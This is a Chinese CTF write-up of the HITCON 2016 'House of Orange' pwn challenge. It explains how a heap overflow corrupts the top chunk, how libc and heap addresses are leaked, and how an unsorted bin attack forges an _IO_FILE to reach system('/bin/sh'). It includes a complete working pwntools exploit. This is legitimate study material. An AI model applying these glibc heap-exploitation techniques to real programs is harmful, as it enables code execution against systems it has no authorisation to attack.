House of Orange

题目附件:https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500

查看程序保护:

 发现保护全开,再查看IDA反编译出来的代码,在upgrade()函数中发现明显的堆溢出漏洞:

 这题的难点没有free函数,但是对溢出没有限制,且mallocsize我们可以自己控制,所以可以载top_chunk上做文章。

利用思路:

  • 修改top_chunksize小于要分配的size,这样old_top会被放入unsorted_bin
  • malloc一个largebin大小的chunk,此chunk会从已放入unsorted_bin中的old_top切割出来,并在chunk中写入该chunk的地址,并泄漏chunk地址和libc的地址
  • 修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

完整的exp我会放在最后,现在我们分步来看利用过程。

第一步:修改top_chunksize,并将其放入unsorted bin中。

ptmalloc的堆管理机制中,首先会取各个bin中找对应大小的chunk,如果找不到,才会去从top_chunk中分割。如果top_chunk的大小也不够,此时有两个选择:

  • 如果利用申请的chunk大小小于128KB,利用brk扩展top_chunk
  • 申请的chunk大小大于128KB,利用mmap分配堆

为了完成利用,我们需要控制分配的chunk大小小于128KB,也就是利用第一种方式分配chunk。来看看sysmalloc的部分源码:

  /* Record incoming configuration of top */

      old_top = av->top;
      old_size = chunksize (old_top);
      old_end = (char *) (chunk_at_offset (old_top, old_size));

      brk = snd_brk = (char *) (MORECORE_FAILURE);

  /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

    //前半部分是针对第一次调用此函数,top_chunk没有初始化的情况
      assert ((old_top == initial_top (av) && old_size == 0) ||
            ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
             ((unsigned long) old_end & (pagesize - 1)) == 0)); //检查top_chunk结束的的地址是否页对齐

  /* Precondition: not enough current space to satisfy nb request */
      assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

我们可以发现伪造的top_chunk的size要满足一下条件:

  • size要大于MINSIZE(这个我不清楚具体的数值,但是只要不是太小都可以)
  • size的inuse位要为1
  • old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
  • size要小于你要申请的chunk的大小

部分利用代码如下:

Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64(0) + p64(0) + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)

第二步:申请largebin大小的chunk触发_int_free把old_top放入unsorted bin中

部分源码:

                    if (old_size != 0)
                    {
                      /*
                         Shrink old_top to insert fenceposts, keeping size a
                         multiple of MALLOC_ALIGNMENT. We know there is at least
                         enough space in old_top to do this.
                       */
                          old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
                          set_head (old_top, old_size | PREV_INUSE);

                          /*
                             Note that the following assignments completely overwrite
                             old_top when old_size was previously MINSIZE.  This is
                             intentional. We need the fencepost, even if old_top otherwise gets
                             lost.
                           */
                          chunk_at_offset (old_top, old_size)->size = (2 * SIZE_SZ) | PREV_INUSE;

                          chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size = (2 * SIZE_SZ) | PREV_INUSE;

                          /* If possible, release the rest. */
                          if (old_size >= MINSIZE)
                          {
                              _int_free (av, old_top, 1);
                          }
                    }

可以看出最后会调用_int_free把old_top放入unsorted bin中

部分利用脚本:

Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base))

payload = 'A'*16
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*16)
chunk_addr = u64(p.recv(6).ljust(8, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr))

第三步:修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

这一部分要用到文件IO的知识。主要函数调用过程为:malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow

先利用unsored bin attack修改__IO_list_all中的值为main_arena + 88,在修改fd时同时修改unosrted bin chunk的大小为0x60。之所以是0x60,是为了让chunk的地址刚好落在chain的位置上。

在malloc时unsorted chunk会被放入small bin中。来看看_IO_flush_all_lockp的部分源码:

          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
               || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
               )
          && _IO_OVERFLOW (fp, EOF) == EOF) //要想执行_IO_OVERFLOW必须满足逻辑与符号前面的条件为真

绕过检查,上述条件,最终exp如下:

 

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./houseoforange')
elf = ELF('houseoforange')
libc = elf.libc

def Build(length, name, price, color):
    p.sendlineafter('Your choice : ', '1')
    p.sendlineafter('Length of name :', str(length))
    p.sendafter('Name :', name)
    p.sendlineafter('Price of Orange:', str(price))
    p.sendlineafter('Color of Orange:', str(color))
    
def See():
    p.sendlineafter('Your choice : ', '2')

def Upgrade(length, name, price, color):
    p.sendlineafter('Your choice : ', '3')
    p.sendlineafter('Length of name :', str(length))
    p.sendafter('Name:', name)
    p.sendlineafter('Price of Orange: ', str(price))
    p.sendlineafter('Color of Orange: ', str(color))

Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64(0) + p64(0) + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)
Build(0x1000, 'AAAAAAAA', 0x1234, 0xddaa)
Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base))

payload = 'A'*16
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*16)
chunk_addr = u64(p.recv(6).ljust(8, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr))

_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
info('-------------------------unsorted bin and build fake file-----------------')

vtable = chunk_addr + 0x510
payload  = '\x00'*0x400 + p64(0) + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64(0)
payload += '/bin/sh\x00' + p64(0x60) + p64(0) + p64(_IO_list_all-0x10) + '\x00'*8 + p64(1) + '\x00'*0xa8 + p64(vtable)
payload += '\x00'*0x18 + p64(system)
Upgrade(len(payload), payload, 0x1234, 0xddaa)

p.sendlineafter('Your choice : ', '1')

p.interactive()

 

posted @ 2020-03-11 11:53  countfatcode  阅读(326)  评论(0编辑  收藏  举报